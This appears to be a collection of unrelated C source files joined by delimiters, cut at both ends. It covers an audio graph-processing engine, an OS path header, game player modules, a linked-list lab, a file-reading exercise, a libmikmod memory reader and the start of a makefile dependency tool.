if ((vert->factory->flags & linx_factory_flag_is_timestamp_aware) != 0) {
// if the plugin supports timestamps, process the whole chunk at once
linx_value_array_copy_in_values(&chunk_in_values, vertdata->in_values, sample_count);
vert->factory->process(vertdata, &chunk_in_values, vertdata->pin_buffers, vertdata->propagated_pin_buffers, vertdata->out_values, sample_count);
linx_value_array_shift_values(vertdata->in_values, sample_count);
} else {
// if the plugin doesnt support timestamps, process each interval between timestamps as a chunk.
// timestamps and buffers are adjusted such that the plugin always processes relative to the chunk.
// in_values to propagated pins do not affect the chunk size, only scalars and midi on this module.
int chunk_offset = 0;
int chunk_sample_count;
struct linx_buffer pin_buffers[1024]; // 1024 = anticipated max number of pins
struct linx_buffer propagated_pin_buffers[1024];
while (1) {
chunk_in_values.length = 0;
chunk_out_values.length = 0;
// NOTE: vertdata->in_values' timestamps are relative to the chunk, because linxp_shift_values() after each chunk
chunk_sample_count = linx_value_array_get_next_timestamp(vertdata->in_values, sample_count - chunk_offset);
linx_value_array_copy_in_values(&chunk_in_values, vertdata->in_values, chunk_sample_count);
copy_pin_buffers(pin_buffers, vertdata->pin_buffers, vert->factory->pins, vert->factory->pin_count, chunk_offset);
if (vert->subgraph != NULL) {
copy_pin_buffers(propagated_pin_buffers, vertdata->propagated_pin_buffers, vertdata->subgraph->propagated_pins, vert->subgraph->propagated_pin_count, chunk_offset);
}
vert->factory->process(vertdata, &chunk_in_values, pin_buffers, propagated_pin_buffers, &chunk_out_values, chunk_sample_count);
update_pin_buffers(vertdata->pin_buffers, pin_buffers, vert->factory->pins, vert->factory->pin_count, chunk_offset, chunk_sample_count);
if (vert->subgraph != NULL) {
update_pin_buffers(vertdata->propagated_pin_buffers, propagated_pin_buffers, vertdata->subgraph->propagated_pins, vert->subgraph->propagated_pin_count, chunk_offset, chunk_sample_count);
}
linx_value_array_shift_values(vertdata->in_values, chunk_sample_count);
// copy chunk_out_values to out_values with adjusted tmestamps
for (i = 0; i < chunk_out_values.length; i++) {
struct linx_value* value = &chunk_out_values.items[i];
linx_value_array_push_value(vertdata->out_values, value->pin_index, value->pin_group, value, value->timestamp + chunk_offset);
}
chunk_offset += chunk_sample_count;
if (chunk_offset == sample_count) {
break;
}
}
}
}
void linx_vertex_instance_process_subgraph(struct linx_graph_instance* subgraphinst, struct linx_vertex_instance* self, struct linx_value_array* in_values, struct linx_value_array* out_values, int sample_count) {
int i;
struct linx_value process_in_value_data[max_value_queue_per_vertex];
struct linx_value_array process_in_values = { process_in_value_data, 0, max_value_queue_per_vertex };
if (subgraphinst == 0) {
return ;
}
// process_subgraph() is invoked by a module instance with a subgraph inside it.
// process_subgraph() expects "subgraph in_pins" and extra pin values in in_values
// process_subgraph() returns "subgraph out_pins" and extra pin values in out_values
// process_subgraph() calls process_graph(), after some pin transformations:
// 1. copy extra in_values into process_in_values[]
// 2. copy subgraph in_values into self->subgraph_in_values
// 3. call process_graph(process_in_values, out_values);
// 4. (extra out_values were added to out_values in process_graph)
// 5. copy self->subgraph_out_values to out_values
// 6. -> the module instance can extract subgraph results from the out_values
for (i = 0; i < in_values->length; i++) {
struct linx_value* value = &in_values->items[i];
if (value->pin_group == linx_pin_group_propagated) {
linx_value_array_push_value(&process_in_values, value->pin_index, value->pin_group, value, value->timestamp);
} else {
linx_value_array_push_value(self->subgraph_in_values, value->pin_index, value->pin_group, value, value->timestamp);
}
}
// graph_process() expects only extra pin values in in_values
// graph_process() returns only extra pin values in out_values
linx_graph_instance_process(subgraphinst, self, &process_in_values, out_values, sample_count);
// add values from subgraph connections to the out_values, extra out_values are already added
for (i = 0; i < self->subgraph_out_values->length; i++) {
struct linx_value* value = &self->subgraph_out_values->items[i];
if (value->timestamp >= 0) {
linx_value_array_push_value(out_values, value->pin_index, value->pin_group, value, value->timestamp);
}
}
// clear subgraph_out_values so modules can call process_subgraph again without reusing old outputs
self->subgraph_out_values->length = 0;
self->subgraph_in_values->length = 0;
}
void linx_graph_instance_process_clear(struct linx_graph_instance* graph) {
int i, j;
for (i = 0; i < graph->graph->vertex_count; i++) {
struct linx_vertex_definition* vert;
struct linx_vertex_instance* vertdata;
vert = &graph->graph->vertices[i];
vertdata = &graph->vertex_data[i];
linx_clear_buffers(vertdata->pin_buffers, vert->factory->pins, vert->factory->pin_count);
linx_clear_buffers(vertdata->subgraph_pin_buffers, vert->factory->subgraph_pins, vert->factory->subgraph_pin_count);
if (vert->subgraph != NULL) {
linx_clear_buffers(vertdata->propagated_pin_buffers, vertdata->subgraph->propagated_pins, vert->subgraph->propagated_pin_count);
}
// at this point,
// - invalues are shifted as they are parsed
// - outvalues have been handed off to all target vertices
// - subgraph in/out values have been processed and done with in their respective vertex implementations
vertdata->out_values->length = 0;
vertdata->subgraph_in_values->length = 0;
vertdata->subgraph_out_values->length = 0;
}
}
void linx_graph_instance_process(struct linx_graph_instance* graph, struct linx_vertex_instance* context, struct linx_value_array* in_values, struct linx_value_array* out_values, int sample_count) {
int i, j;
int vertex_index;
// graph_process() expects only extra pin values in in_values
// graph_process() returns only extra pin values in out_values
// resolve extra pin values relative to this graph and set pin
// value in the module. extra pins pointing at extra pins in
// the subgraph will be resolved later, recursively.
for (i = 0; i < in_values->length; i++) {
struct linx_pin* pin;
struct linx_pin_ref* pref;
struct linx_vertex_instance* vdata;
struct linx_value* value = &in_values->items[i];
assert(value->pin_group == linx_pin_group_propagated);
assert(value->timestamp >= 0);
pin = &graph->propagated_pins[value->pin_index];
assert(!linx_pin_is_buffer(pin->pin_type));
pref = &graph->graph->propagated_pins[value->pin_index];
vdata = &graph->vertex_data[pref->vertex];
linx_value_array_push_value(vdata->in_values, pref->pin_index, pref->pin_group, value, value->timestamp);
}
// the processing order is layered:
// the first layer has all leaf machines such as generators, etc,
// the second layer has machines that depend on the first layer,
// the third layer has machines that depend on the second layer, etc.
for (i = 0; i < graph->processing_order.layer_count; i++) {
// each layer is processed for all samples in the frame before
// processing the next layer etc. as long as the previous layer is
// completely processed, with all timestamped events and buffers
// queued up, the current layer can be chunked freely per vertex,
// with chunk sizes depending on plugins flags like quantization,
// emission interrupt rate, and ability to handle timestamps
// (the nodes on each layer can also run in parallell)
for (j = 0; j < graph->processing_order.layers[i].vertex_count; j++) {
vertex_index = graph->processing_order.layers[i].vertices[j];
linxp_graph_process_vertex(graph, context, vertex_index, sample_count);
}
}
// enumerate edges to parent subgraph = those with -1 for target
linxp_graph_process_to_edges(graph, context, -1, sample_count);
//out_values->length = 0;
// propagate extra pins from this to parent graph through out_values
for (i = 0; i < graph->graph->propagated_pin_count; i++) {
struct linx_pin* pin = &graph->propagated_pins[i];
struct linx_pin_ref* pref = &graph->graph->propagated_pins[i];
struct linx_vertex_instance* vdata = &graph->vertex_data[pref->vertex];
for(j = 0; j < vdata->out_values->length; j++) {
if (vdata->out_values->items[j].timestamp >= 0 && vdata->out_values->items[j].pin_index == pref->pin_index && vdata->out_values->items[j].pin_group == pref->pin_group) {
linx_value_array_push_value(out_values, i, linx_pin_group_propagated, &vdata->out_values->items[j], vdata->out_values->items[j].timestamp);
}
}
}
linx_graph_instance_update_snapshot(graph, context, sample_count);
}
struct linx_pin* linx_vertex_definition_resolve_pin(struct linx_vertex_definition* v, int pin_index, int pin_group, struct linx_vertex_definition** result_vertdef, int* result_pin_index) {
struct linx_pin_ref* subpref;
if (pin_group == linx_pin_group_module) {
*result_vertdef = v;
*result_pin_index = pin_index;
return &v->factory->pins[pin_index];
} else if (pin_group == linx_pin_group_propagated) {
subpref = &v->subgraph->propagated_pins[pin_index];
return linx_vertex_definition_resolve_pin(&v->subgraph->vertices[subpref->vertex], subpref->pin_index, subpref->pin_group, result_vertdef, result_pin_index);
}
assert(0);
return 0;
}
struct linx_pin* linx_graph_definition_resolve_pin(struct linx_graph_definition* graph, int pin_index, struct linx_vertex_definition** result_vertdef, int* result_pin_index) {
struct linx_pin_ref* pinref;
struct linx_vertex_definition* vert;
pinref = &graph->propagated_pins[pin_index];
vert = &graph->vertices[pinref->vertex];
return linx_vertex_definition_resolve_pin(vert, pinref->pin_index, pinref->pin_group, result_vertdef, result_pin_index);
}
struct linx_pin* linx_vertex_instance_resolve_pin(struct linx_vertex_instance* vertdata, int pin_index, enum linx_pin_group pin_group, struct linx_vertex_instance** result_vertdata, int* result_pin_index) {
struct linx_pin_ref* subpref;
if (pin_group == linx_pin_group_module) {
*result_vertdata = vertdata;
*result_pin_index = pin_index;
return &vertdata->vertex->factory->pins[pin_index];
} else if (pin_group == linx_pin_group_propagated) {
subpref = &vertdata->vertex->subgraph->propagated_pins[pin_index];
return linx_vertex_instance_resolve_pin(&vertdata->subgraph->vertex_data[subpref->vertex], subpref->pin_index, subpref->pin_group, result_vertdata, result_pin_index);
}
assert(0);
return 0;
}
struct linx_pin* linx_graph_instance_resolve_pin(struct linx_graph_instance* graphdata, int pin_index, struct linx_vertex_instance** result_vertdata, int* result_pin_index) {
struct linx_pin_ref* pinref = &graphdata->graph->propagated_pins[pin_index];
struct linx_vertex_instance* vertdata = &graphdata->vertex_data[pinref->vertex];
return linx_vertex_instance_resolve_pin(vertdata, pinref->pin_index, pinref->pin_group, result_vertdata, result_pin_index);
}
/*
void verify_x87_stack_empty() {
unsigned i;
unsigned z[8];
__asm {
fldz
fldz
fldz
fldz
fldz
fldz
fldz
fldz
fstp dword ptr [z+0x00]
fstp dword ptr [z+0x04]
fstp dword ptr [z+0x08]
fstp dword ptr [z+0x0c]
fstp dword ptr [z+0x10]
fstp dword ptr [z+0x14]
fstp dword ptr [z+0x18]
fstp dword ptr [z+0x1c]
}
// Verify bit patterns. 0 = 0.0
for (i = 0; i < 8; ++i) {
assert(z[i] == 0);
}
}*/
void linx_value_array_init_from(struct linx_value_array* values, struct linx_value* ptr, int length, int capacity) {
values->items = ptr;
values->length = length;
values->capacity = capacity;
}
struct linx_value_array* linx_value_array_create(int capacity) {
struct linx_value_array* result = (struct linx_value_array*)malloc(sizeof(struct linx_value_array) + sizeof(struct linx_value) * capacity);
result->items = (struct linx_value*)(result + 1);
result->length = 0;
result->capacity = capacity;
return result;
}
struct linx_value* linx_value_array_get(struct linx_value_array* values, int index) {
assert(index < values->length);
return &values->items[index];
}
void linx_value_array_push_value(struct linx_value_array* values, int pin_index, enum linx_pin_group pin_group, struct linx_value* value, int timestamp) {
struct linx_value* item = &values->items[values->length];
assert(values->length >= 0 && values->length < values->capacity);
*item = *value;
item->pin_group = pin_group;
item->pin_index = pin_index;
item->timestamp = timestamp;
values->length++;
}
void linx_value_array_push_float(struct linx_value_array* values, int pin_index, enum linx_pin_group pin_group, float value, int timestamp) {
struct linx_value* item = &values->items[values->length];
assert(values->length >= 0 && values->length < values->capacity);
item->floatvalue = value;
item->pin_group = pin_group;
item->pin_index = pin_index;
item->timestamp = timestamp;
values->length++;
}
void linx_value_array_push_int(struct linx_value_array* values, int pin_index, enum linx_pin_group pin_group, int value, int timestamp) {
struct linx_value* item = &values->items[values->length];
assert(values->length >= 0 && values->length < values->capacity);
item->intvalue = value;
item->pin_group = pin_group;
item->pin_index = pin_index;
item->timestamp = timestamp;
values->length++;
}
void linx_value_array_push_midi(struct linx_value_array* values, int pin_index, enum linx_pin_group pin_group, unsigned int value, int timestamp) {
struct linx_value* item = &values->items[values->length];
assert(values->length >= 0 && values->length < values->capacity);
item->midimessage = value;
item->pin_group = pin_group;
item->pin_index = pin_index;
item->timestamp = timestamp;
values->length++;
}
void linx_value_array_copy_in_values(struct linx_value_array* dest_values, struct linx_value_array* src_values, int sample_count) {
int i;
int chunk_next_offset = sample_count;
struct linx_value* value;
for (i = 0; i < src_values->length; i++) {
value = &src_values->items[i];
// NOTE: including module pins AT chunk, extra pins IN chunk:
if (value->timestamp == 0 || (value->pin_group == linx_pin_group_propagated && value->timestamp >= 0 && value->timestamp < chunk_next_offset)) {
linx_value_array_push_value(dest_values, value->pin_index, value->pin_group, value, value->timestamp);
}
}
}
void linx_value_array_set_last_values(struct linx_value* last_values, struct linx_value_array* new_values, int pin_count, int sample_count) {
int i;
// 1. set all last_timestamp to 0, so we can compare last timestamps with new timestamps in next step
for (i = 0; i < pin_count; i++) {
if (last_values[i].timestamp >= 0) {
last_values[i].timestamp = 0;
}
}
// 2. copy new_value to last_value if new_timestamp >= last_timestamp && new_timestamp < sample_count
for (i = 0; i < new_values->length; i++) {
struct linx_value* value = &new_values->items[i];
if (value->timestamp != -1 && value->timestamp < sample_count) {
if (value->pin_group == linx_pin_group_module) {
struct linx_value* last_value = &last_values[value->pin_index];
assert(value->pin_index < pin_count);
if (value->timestamp >= last_value->timestamp) {
*last_value = *value;
}
}
}
}
}
int linx_value_array_get_next_timestamp(struct linx_value_array* values, int sample_count) {
int i;
int chunk_next_offset = sample_count;
struct linx_value* value;
for (i = 0; i < values->length; i++) {
value = &values->items[i];
if (value->timestamp == -1) {
continue;
}
if (value->timestamp > 0 && value->timestamp < chunk_next_offset && value->pin_group == linx_pin_group_module) {
chunk_next_offset = value->timestamp;
}
}
return chunk_next_offset;
}
void linx_value_array_shift_values(struct linx_value_array* values, int sample_count) {
int i;
int pos = 0;
int deleted = 0;
for (i = 0; i < values->length; i++) {
struct linx_value* value = &values->items[i];
if (value->timestamp >= 0) {
if (value->timestamp < sample_count) {
memset(value, 0, sizeof(struct linx_value));
value->timestamp = -1;
deleted ++;
} else {
if (pos != i) {
values->items[pos] = *value;
values->items[pos].timestamp -= sample_count;
memset(value, 0, sizeof(struct linx_value));
value->timestamp = -1;
} else {
value->timestamp -= sample_count;
}
pos++;
}
}
}
values->length -= deleted;
}
void linx_value_array_free(struct linx_value_array* values) {
free(values);
}
// describe arbitrary module pin in a graf or subgraf
void linx_graph_instance_describe_vertex_value(struct linx_graph_instance* instance, int vertex_index, int pin_index, enum linx_pin_group pin_group, float value, char* name_result, int name_length) {
struct linx_vertex_instance* vertinst;
assert(name_length > 0);
strcpy(name_result, "");
vertinst = &instance->vertex_data[vertex_index];
if (pin_group == linx_pin_group_module) {
if (vertinst->vertex->factory->describe_value) {
vertinst->vertex->factory->describe_value(vertinst, pin_index, value, name_result, name_length);
}
} else if (pin_group == linx_pin_group_propagated) {
struct linx_pin_ref* pinref = &vertinst->subgraph->graph->propagated_pins[pin_index];
linx_graph_instance_describe_vertex_value(vertinst->subgraph, pinref->vertex, pinref->pin_index, pinref->pin_group, value, name_result, name_length);
} else {
assert(0);
name_result[0] = 0;
}
}
// describe propagated parameter on a graf
void linx_graph_instance_describe_value(struct linx_graph_instance* instance, int pin_index, float value, char* name_result, int name_length) {
// assume prop pins on the graf instance
struct linx_pin_ref* pinref = &instance->graph->propagated_pins[pin_index];
linx_graph_instance_describe_vertex_value(instance, pinref->vertex, pinref->pin_index, pinref->pin_group, value, name_result, name_length);
}
struct linx_snapshot* linx_graph_instance_create_snapshot(struct linx_graph_instance* instance, int samplerate) {
struct linx_snapshot* result = (struct linx_snapshot*)malloc(sizeof(struct linx_snapshot));
result->samplerate = samplerate;
result->position = 0;
result->buffer = (float*)malloc( linx_edge_digest_size * instance->graph->edge_count * sizeof(float) );
memset(result->buffer, 0, linx_edge_digest_size * instance->graph->edge_count * sizeof(float));
return result;
}
void linx_graph_instance_free_snapshot(struct linx_graph_instance* instance) {
free(instance->snapshot->buffer);
free(instance->snapshot);
}
struct linx_value* get_nearest_value(struct linx_value_array* values, int pin_index, enum linx_pin_group pin_group, int timestamp, int sample_count) {
int i;
struct linx_value* result = 0;
for (i = 0; i < values->length; i++) {
struct linx_value* value = &values->items[i];
if (value->pin_index == pin_index && value->pin_group == pin_group &&
value->timestamp >= timestamp && value->timestamp < (timestamp + sample_count) &&
(result == 0 || value->timestamp > result->timestamp) ) {
result = value;
}
}
return result;
}
float get_nearest_float(struct linx_value_array* values, int pin_index, enum linx_pin_group pin_group, int timestamp, int sample_count, float default_value) {
struct linx_value* value = get_nearest_value(values, pin_index, pin_group, timestamp, sample_count);
if (value) {
return value->floatvalue;
} else {
return default_value;
}
}
float get_nearest_int(struct linx_value_array* values, int pin_index, enum linx_pin_group pin_group, int timestamp, int sample_count, float default_value) {
struct linx_value* value = get_nearest_value(values, pin_index, pin_group, timestamp, sample_count);
if (value) {
return value->intvalue;
} else {
return default_value;
}
}
void linx_graph_instance_update_snapshot(struct linx_graph_instance* instance, struct linx_vertex_instance* context, int sample_count) {
// sample values in output wires - call this at end of process (before clearing)
// PROBLEM/TODO: the out value queues are always copied entirely into the
// input value queue, and can have events beyond this timestamp (f.ex midi
// echo or delay). these values won't be polled unless the out values are
// also shifted, similar to the in values.
int i;
int update_samples;
int position;
int skip_samples = (int)(instance->snapshot->samplerate / linx_edge_digest_rate);
for (i = 0; i < instance->graph->edge_count; i++) {
struct linx_edge_definition* edge = &instance->graph->edges[i];
struct linx_vertex_instance* from_vertexdata;
struct linx_pin* from_pin;
struct linx_value_array* from_in_queue;
struct linx_value_array* from_out_queue;
struct linx_buffer* from_buffer;
get_edge_vertex_pin(instance, context, edge->from_vertex, edge->from_pin_index, edge->from_pin_group, &from_vertexdata, &from_pin, &from_in_queue, &from_out_queue, &from_buffer);
update_samples = 0;
position = instance->snapshot->position;
while (update_samples < sample_count) {
int skip_position = position % skip_samples;
int chunk_length = (int)fminf((float)(skip_samples - skip_position), (float)(sample_count - update_samples));
float value;
int digest_offset;
int prev_digest_offset;
if (skip_position == 0) {
digest_offset = (position / skip_samples) % linx_edge_digest_size;
prev_digest_offset = (digest_offset + linx_edge_digest_size - 1) % linx_edge_digest_size;
} else {
digest_offset = (position / skip_samples) % linx_edge_digest_size;
prev_digest_offset = digest_offset;
}
switch (from_pin->pin_type) {
case linx_pin_type_out_buffer_float:
if (skip_position == 0) {
if (from_buffer->write_count > 0) {
value = from_buffer->float_buffer[update_samples];
} else {
value = 0;
}
instance->snapshot->buffer[i * linx_edge_digest_size + digest_offset] = value;
}
break;
case linx_pin_type_out_scalar_float:
// reuse get last digested sample if thres no nearest value
value = instance->snapshot->buffer[i * linx_edge_digest_size + prev_digest_offset];
value = get_nearest_float(from_out_queue, edge->from_pin_index, edge->from_pin_group, update_samples, chunk_length, value);
instance->snapshot->buffer[i * linx_edge_digest_size + digest_offset] = value;
break;
case linx_pin_type_out_scalar_int:
value = instance->snapshot->buffer[i * linx_edge_digest_size + prev_digest_offset];
value = get_nearest_int(from_out_queue, edge->from_pin_index, edge->from_pin_group, update_samples, chunk_length, value);
instance->snapshot->buffer[i * linx_edge_digest_size + digest_offset] = value;
break;
default:
value = 0;
instance->snapshot->buffer[i * linx_edge_digest_size + digest_offset] = value;
break;
}
update_samples += chunk_length;
position += chunk_length;
}
}
instance->snapshot->position += sample_count;
}
float* linx_graph_definition_get_snapshot(struct linx_graph_instance* instance) {
return instance->snapshot->buffer;
}
|
C | //
// path.h
// NeilOS
//
// Created by Neil Singh on 1/3/17.
// Copyright © 2017 Neil Singh. All rights reserved.
//
#ifndef PATH_H
#define PATH_H
#include <common/types.h>
// Get the specified component of the input path. The pointer returned is
// an indexed pointer of the input path. NULL is returned if no such component exists.
const char* path_get_component(const char* path, uint32_t component, uint32_t* length_out);
// Get the last component of the input path. The pointer returned is
// an indexed pointer of the input path. NULL is returned if no such component exists.
const char* path_last_component(const char* path, uint32_t* length_out);
// Get the parent directory (path - last component) of the input path. The pointer returned is
// an indexed pointer of the input path. NULL is returned if no such component exists.
const char* path_get_parent(const char* path, uint32_t* length_out);
// Append a string to a path
char* path_append(const char* prefix, char* str);
// Get absolute path
char* path_absolute(const char* path, const char* wd);
// TODO: replace generic instances with this
// Copy a path
char* path_copy(const char* path);
#endif
|
C | #include <stdio.h>
#include <stdlib.h>
#include "player.h"
/* funcoes para o jogador */
player_t *player_Create(bag_t *bag){
player_t *player = (player_t *) malloc(sizeof(player_t));
player->score = 0;
player->num_tiles = 7;
player->playing = 1;
int i;
for(i = 0; i < HAND_SIZE; i++){
player->hand[i] = BLANK_HAND;
}
player_hand_Complete(bag, player);
return player;
}
void player_hand_Complete(bag_t *bag, player_t *player){
int i;
for(i = 0; i < HAND_SIZE; i++){
if(player->hand[i] == BLANK_HAND){
player->hand_value[i] = bag_Value(bag);
player->hand[i] = bag_Remove(bag);
player->num_tiles++;
}
}
}
void player_hand_Change(bag_t *bag, player_t *player, int action, char letra){
int i;
if(action == 1){
for(i = 0; i < HAND_SIZE; i++){
bag_Insert(bag, player->hand[i], player->hand_value[i]);
player->hand_value[i] = bag_Value(bag);
player->hand[i] = bag_Remove(bag);
}
}
else{
for(i = 0; i < HAND_SIZE; i++){
if(player->hand[i] == letra){
bag_Insert(bag, player->hand[i], player->hand_value[i]);
player->hand_value[i] = bag_Value(bag);
player->hand[i] = bag_Remove(bag);
break;
}
}
}
}
void player_hand_Back(board_t *board, player_t *player){
int i, j, k;
for(i = 0; i < BOARD_SIZE; i++){
for(j = 0; j < BOARD_SIZE; j++){
if(board->m_new[i][j] == 1){
for(k = 0; k < HAND_SIZE; k++){
if(player->hand[k] == BLANK_HAND){
player->hand[k] = board->m_visual[i][j];
player->hand_value[k] = board->m_value[i][j];
player->num_tiles++;
break;
}
}
}
}
}
}
void player_hand_Print(player_t *player){
int i;
char aux;
for(i = 0; i < HAND_SIZE; i++){
aux = player->hand[i];
if(aux != BLANK_HAND){
printf("%c ", aux);
}
}
}
void players_Sort(player_t **players, int num_jog){
int i, j;
player_t *current;
for(i = 1; i < num_jog; i++){
current = players[i];
j = i-1;
while(j >= 0 && players[j]->score < current->score){
players[j+1] = players[j];
j--;
}
players[j+1] = current;
}
}
void players_Score(player_t **players, int num_jog){
int i, j;
for(i = 0; i < num_jog; i++){
for(j = 0; j < HAND_SIZE; j++){
players[i]->score -= players[i]->hand_value[j];
}
}
}
int verify_Tile(char *hand, char letra){
int i;
for(i = 0; i < HAND_SIZE; i++){
if(hand[i] == letra){
return 1;
}
}
return 0;
} |
C | //Greg Ryterski
//gjr7dz, 18186949
//Lab 9 main, Group E
#include "lab9.h"
void errorCheck(int value);
int main(void){
Student* head = initListWithDummyNode();
int errorChecker = 0;
int headVal, tailVal, x;
do{
printf("Menu:\n");
printf("1) Add age to the head of the list\n");
printf("2) Add age to the tail of the list\n");
printf("3) Print List\n");
printf("4) Empty List\n");
printf("5) Exit\n");
scanf("%d", &x);
if(x == 1){
printf("Enter value to add to the head: ");
scanf("%d", &headVal);
errorChecker = insertToHead(head, headVal);
errorCheck(errorChecker);
}
if(x == 2){
printf("Enter value to add to the tail: ");
scanf("%d", &tailVal);
errorChecker = insertToTail(head, tailVal);
errorCheck(errorChecker);
}
if(x == 3){
printf("\nList: ");
printList(head);
puts("");
}
if(x == 4)
emptyList(head);
if(x<1 || x>5)
printf("Must enter a value 1-3\n");
}while(x != 5);
freeList(head);
}
void errorCheck(int value){
if(value == 0){
printf("Insertion failed.\n\n");
}
if(value == 1){
printf("Insertion was successful.\n\n");
}
}
|
C | #include "../../include/player.h"
#include "../../include/utils.h"
/* ----- | Prototypes | ------ */
static int Player_get_player_id(struct Player *player);
static Color_Pair Player_get_colors(struct Player *player);
static boolean Player_is_real_player(struct Player *player);
/* ----- | Static Variables | ------ */
static Player_Methods methods = {
.get_player_id = Player_get_player_id,
.get_colors = Player_get_colors,
.is_real_player = Player_is_real_player
};
static int next_player_id = 0;
Player dummy_player = {
.player_id = 0,
.colors = COLOR_PAIR_GREEN,
.real_player = FALSE,
.m = &methods
};
/* ----- | Functions | ------ */
Player *Player_init(Player *player, Color_Pair color, boolean real_player) {
if (player == NULL) {
return NULL;
}
player->player_id = next_player_id++;
player->colors = color;
player->real_player = real_player;
player->m = &methods;
return player;
}
static int Player_get_player_id(struct Player *player) {
return player->player_id;
}
static Color_Pair Player_get_colors(struct Player *player) {
return player->colors;
}
static boolean Player_is_real_player(struct Player *player) {
return player->real_player;
} |
C | #include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
/**
* read_textfile - reads a text file and prints it to the standard output
* @filename: file name
* @letters: size
* Return: ssize_t
*/
ssize_t read_textfile(const char *filename, size_t letters)
{
char *buf;
int fd;
ssize_t count, w_count;
if (filename == NULL)
return (0);
buf = malloc((sizeof(char) * letters) + 1);
if (buf == NULL)
return (0);
fd = open(filename, O_RDONLY);
if (fd < 0)
{
free(buf);
return (0);
}
count = read(fd, buf, letters);
if (count < 0)
{
free(buf);
return (0);
}
w_count = write(STDOUT_FILENO, buf, count);
if (w_count < 0)
{
free(buf);
return (0);
}
close(fd);
free(buf);
return (count);
}
|
C | /* mmloader.c
* Example on how to implement a MREADER that reads from memory
* for libmikmod.
* (C) 2004, Raphael Assenat ([email protected])
*
* This example is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRENTY; without event the implied warrenty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*/
#include <limits.h>
#include <stdlib.h>
#include <mikmod.h>
#include "mikmod_loader.h"
static BOOL My_MemReader_Eof(MREADER* reader);
static BOOL My_MemReader_Read(MREADER* reader,void* ptr,size_t size);
static int My_MemReader_Get(MREADER* reader);
static int My_MemReader_Seek(MREADER* reader,long offset,int whence);
static long My_MemReader_Tell(MREADER* reader);
void delete_mikmod_mem_reader(MREADER* reader)
{
if (reader) free(reader);
}
MREADER *new_mikmod_mem_reader(const void *buffer, long len)
{
MY_MEMREADER* reader = (MY_MEMREADER*) calloc(1, sizeof(MY_MEMREADER));
if (reader)
{
reader->core.Eof = &My_MemReader_Eof;
reader->core.Read= &My_MemReader_Read;
reader->core.Get = &My_MemReader_Get;
reader->core.Seek= &My_MemReader_Seek;
reader->core.Tell= &My_MemReader_Tell;
reader->buffer = buffer;
reader->len = len;
reader->pos = 0;
}
return (MREADER*)reader;
}
static BOOL My_MemReader_Eof(MREADER* reader)
{
MY_MEMREADER* mr = (MY_MEMREADER*) reader;
if (!mr) return 1;
if (mr->pos >= mr->len) return 1;
return 0;
}
static BOOL My_MemReader_Read(MREADER* reader,void* ptr,size_t size)
{
unsigned char *d;
const unsigned char *s;
MY_MEMREADER* mr;
long siz;
BOOL ret;
if (!reader || !size || (size > (size_t) LONG_MAX))
return 0;
mr = (MY_MEMREADER*) reader;
siz = (long) size;
if (mr->pos >= mr->len) return 0; /* @ eof */
if (mr->pos + siz > mr->len) {
siz = mr->len - mr->pos;
ret = 0; /* not enough remaining bytes */
}
else {
ret = 1;
}
s = (const unsigned char *) mr->buffer;
s += mr->pos;
mr->pos += siz;
d = (unsigned char *) ptr;
while (siz) {
*d++ = *s++;
siz--;
}
return ret;
}
static int My_MemReader_Get(MREADER* reader)
{
MY_MEMREADER* mr;
int c;
mr = (MY_MEMREADER*) reader;
if (mr->pos >= mr->len) return EOF;
c = ((const unsigned char*) mr->buffer)[mr->pos];
mr->pos++;
return c;
}
static int My_MemReader_Seek(MREADER* reader,long offset,int whence)
{
MY_MEMREADER* mr;
if (!reader) return -1;
mr = (MY_MEMREADER*) reader;
switch(whence)
{
case SEEK_CUR:
mr->pos += offset;
break;
case SEEK_SET:
mr->pos = offset;
break;
case SEEK_END:
mr->pos = mr->len + offset;
break;
default: /* invalid */
return -1;
}
if (mr->pos < 0) {
mr->pos = 0;
return -1;
}
if (mr->pos > mr->len) {
mr->pos = mr->len;
}
return 0;
}
static long My_MemReader_Tell(MREADER* reader)
{
if (reader) {
return ((MY_MEMREADER*)reader)->pos;
}
return 0;
}
|
C | /* $Id$ */
#include <sys/param.h>
#include <sys/stat.h>
#include <ctype.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#ifndef MIN
#define MIN(a, b) ((a) < (b) ? (a) : (b))
#endif
#ifndef __dead
#define __dead
#endif
#define _PATH_USR_INCLUDE "/usr/include"
#define IT_REL 1 /* #include "foo" */
#define IT_ABS 2 /* #include <foo> */
struct pathqe {
const char *pq_path;
struct pathqe *pq_next;
};
struct incqe {
const char *iq_file;
struct incqe *iq_next;
int iq_type;
};
static int exists(const char *);
static int shift(FILE *, off_t);
static void freeiq(struct incqe *);
static void freepq(struct pathqe *);
static void getincs(const char *, struct incqe **);
static void mkdep(FILE *, const char *, struct pathqe *);
static void pushiq(struct incqe **, const char *, int);
static void pushpq(struct pathqe **, const char *);
static void split(const char *, int *, char ***);
static __dead void usage(void);
static const char *find(const char *, struct pathqe *);
int
main(int argc, char *argv[])
{
struct pathqe *pathqh = NULL;
char *cflags;
FILE *fp;
int c;
opterr = 0;
pushpq(&pathqh, _PATH_USR_INCLUDE);
while ((c = getopt(argc, argv, "I:")) != -1)
switch (c) {
case 'I':
pushpq(&pathqh, optarg);
break;
}
argv += optind;
if (*argv == NULL)
usage();
/* Read CFLAGS from environment. */
if ((cflags = getenv("CFLAGS")) != NULL) {
char **cf_argv, **p;
int cf_argc;
split(cflags, &cf_argc, &cf_argv);
optind = 0; /* XXX */
while ((c = getopt(cf_argc, cf_argv, "I:")) != -1)
switch (c) {
case 'I':
pushpq(&pathqh, optarg);
break;
}
for (p = cf_argv; *p != NULL; p++)
free(*p);
free(cf_argv);
}
if ((fp = fopen(".depend", "rw")) == NULL)
err(EX_NOINPUT, "open .depend"); /* XXX */
while (*argv != NULL)
mkdep(fp, *argv++, pathqh);
freepq(pathqh);
(void)fclose(fp);
exit(EXIT_SUCCESS);
}
#define ALLOCINT 20
static void
split(const char *s, int *argcp, char ***argvp)
{
size_t max, pos;
const char *p;
char **argv;
*argcp = 1; /* Trailing NULL. Will be deducted later. */
for (p = s; *p != '\0'; p++) {
if (isspace(*p)) {
while (isspace(*++p))
;
p--;
++*argcp;
}
}
if ((*argvp = calloc(*argcp, sizeof(**argvp))) == NULL)
return;
argv = *argvp;
max = 0;
pos = 0;
for (p = s; *p != '\0'; p++) {
if (isspace(*p)) {
while (isspace(*++p))
;
p--;
